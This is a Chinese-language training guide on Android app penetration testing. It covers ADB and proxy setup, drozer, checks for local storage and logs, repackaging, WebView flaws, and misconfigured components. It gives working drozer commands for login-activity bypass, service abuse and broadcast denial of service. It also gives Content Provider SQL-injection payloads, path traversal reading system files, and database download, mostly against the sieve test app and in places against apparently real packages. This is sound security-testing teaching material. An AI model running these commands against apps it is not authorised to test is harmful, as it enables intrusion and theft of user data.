当前位置:文档之家› android渗透培训--apk渗透测试方法-基础

android渗透培训--apk渗透测试方法-基础

安卓App渗透测试方法--基础1.基本设置1.1 ADB连接:模拟器自带开启ADB服务,电脑使用 adb devcies 即可查看存在的模拟器1.1.1.手机WIFI(1)准备条件:手机必须已经root,下载一个终端模拟器用于输入命令。

(2)手机接入wifi。

(3)运行终端模拟器开始绑定adb端口,依次输入以下命令:susetprop service.adb.tcp.port 5555stop adbdstart adbd(4)获取手机内网IP,可以直接在终端模拟器输入 netcfg /ip a来查看,或者通过你的wifi管理后台查看。

1.1.2电脑adb connect 172.17.233.2:5555adb devicesadb shell安装软件将apk放到platform文件夹中(可将adb加入系统环境变量,就不必每次切换到platform目录)adb install aa.apk1.2设置代理1.2.1模拟器-设置emulator代理:emulator.exe -http-proxy 127.0.0.1:8888 @Android422错误提示:FATAL:.//android/base/sockets/SocketWaiter.cpp:88:Check failed: isValidFd(fd). fd 1032 max1024解决方法:添加-no-audioemulator.exe -http-proxy 127.0.0.1:8888 -no-audio @Android422或虚拟机内设置代理setting--APN10.0.2.2:88881.2.2 手机wifi设置代理setting-wifi-修改-代理-手动主机名:电脑ip 端口:88882.渗透测试工具配置2.1 drozer 配置adb forward tcp:31415 tcp:31415 //drozer的端口是31415,所以要做端口转发然后在模拟器上运行droxer Agent,打开drozer 服务(需要安装drozer-agent apk)drozer console connect 手机ip //drozer 连接注:除了drozer,渗透测试框架还有:mercury,appie等,使用方法类似。

3.渗透测试方法3.1查看本地存储3.1.1 Shared PreferencesShared Preferences是用key-value 来存储私有的原始数据的 xml文件 /data/data/<package name>/shared_prefs/<filename.xml> 。

3.1.2 SQLite 数据库/data/data/<package name>/databases/<databasename.db> 操作:进入命令行 adb shell复制文件(用adb命令手机-->电脑)adb pulldata/data/com.zufangbao.wap.android/databases/webview.db f:/ sqlite3 xx.db 查看某个数据库.tables 查看数据库中的表select * from talbes; 查询表的内容.exit 退出3.1.3 查看SD卡是否储存app的图片或缓存文件ls /sdcard/3.2 查看日志中是否存在敏感信息查看日志中是否存在敏感信息命令:adb logcat-v verbose 打印详细-d debug 打印调试级日志-I information 打印提示级日志-e error 打印错误级日志-w warning 打印警告级日志将日志导出:adb logcat > output.txt3.3 检查是否可以重新编译打包使用ApkTool进行反编译:java –jar apktool.apk d aaaa.apk重新编译:java -jar apktool.apk b abc签名:java -jar signapk.jar testkey.x509.pem testkey.pk8 app-debug.apk app-debug-signed.apk3.4检查WebView 漏洞查看webview组件接口是否有防护措施1. apk用压缩软件打开,提取里面的classes.dex2. 反编译得到源码:d2j-dex2jar.bat classes.dex3. 后在利用jdgui打开 classes-dex2jar.jar4.搜索危险接口 addJavascriptInterface 和searchBoxJavaBridge如果未作防护,可尝试测试是否存在远程代码执行漏洞,可参考:/android-webview-remote-code-execution-vulnerability-analysis3.5检查allowbackup和Debuggable权限查看反编译得到 AndroidManifest.xml文件中allowbackup和Debuggable 属性是否为true,如果为true则开放了allowbackup和Debuggable 权限3.6. 组件测试(Activity,Content,Service,Broadcast)--Drozer查看apk包信息1.关键字查找包名命令 run app.pakcage.list -f <keyword>示例 run app.package.list -f sieve2.获取应用基本信息命令 run -a <package name>示例 run -a com.mwr.example.sieve3.确定攻击面,查看个组件的权限信息命令 run app.package.attacksurface <package name>示例 run app.package.attacksurface com.mwr.example.sieve3.5.1 Activity配置错误导致登录验证被绕过检查组件Activity配置是否错误,导致登录验证(如:密码验证,手势验证,短信验证等)被绕过获取Activity信息命令 run -a <package name>示例 run app.activity.inof -a com.mwr.example.sieve启动Activity,查看app的登陆验证是否被绕过命令 run app.activity.start --component <package name> <component name>示例 run app.activity.start --component com.mwr.example.sievecom.mwr.example.sieve.MainLoginActivity3.5.2 Service配置错误导致越权获取service信息命令run -a com.gdctl0000通过services 调用系统的intent 是否成功调用,是否存在越权漏洞命令run app.service.start --component 包名服务名--action 系统的intent 例如:示例run app.service.start --component com.cmsz.linboycom.baidu.android.pushservice.PushService --actionandroid.intent.action.BUG_REPORT示例 run app.service.start --component com.cmsz.linboymandService --actionandroid.intent.action.BUG_REPORT3.5.3 Broadcast receiver配置错误导致拒绝服务攻击获取app的broadcast信息命令run -a com.gx.chezthb -i通过广播发送空的或不完整的 intent,查看app是否停止运行,造成拒绝服务攻击空的intent命令urn app.broadcast.send --component com.gx.chezthbcom.umeng.message.BootBroadcastReceiver不完整的 intent示例run app.broadcast.send --component com.gx.chezthbcom.umeng.message.BootBroadcastReceiver --action android.intent.XXXX3.5.4 Content Provider数据泄露漏洞检查组件Content Provider配置是否错误,导致数据泄漏获取Content Provider信息命令 run -a <package name>示例 run -a com.mwr.example.sieve获取所有可访问的Uri命令 run scanner.provider.finduris -a <package name>示例 run scanner.provider.finduris -a com.mwr.example.sieve1. SQL注入命令 run app.provider.query <uri> [--projection] [--selection]示例 run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/列出所有表 run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"获取单表(如Key)的数据 run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"检测是否存在SQL注入命令 run scanner.provider.injection -a <package name>示例 run scanner.provider.injection -a com.mwr.example.sieve2 .检测目录遍历命令 run scanner.provider.traversal -a <package name>示例 run scanner.provider.traversal -a com.mwr.example.sieve3. 读取文件系统下的文件示例 run app.provider.readcontent://com.mwr.example.sieve.FileBackupProvider/etc/hosts4. 下载数据库文件到本地示例 run app.provider.downloadcontent://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.siev e/databases/database.db d:/database.db4. 检查开发者证书是否规范解压apk文件,找到META-INF文件夹中的RSA证书,查看证书中的开发者信息是否为app 的所有者或开发者。

相关主题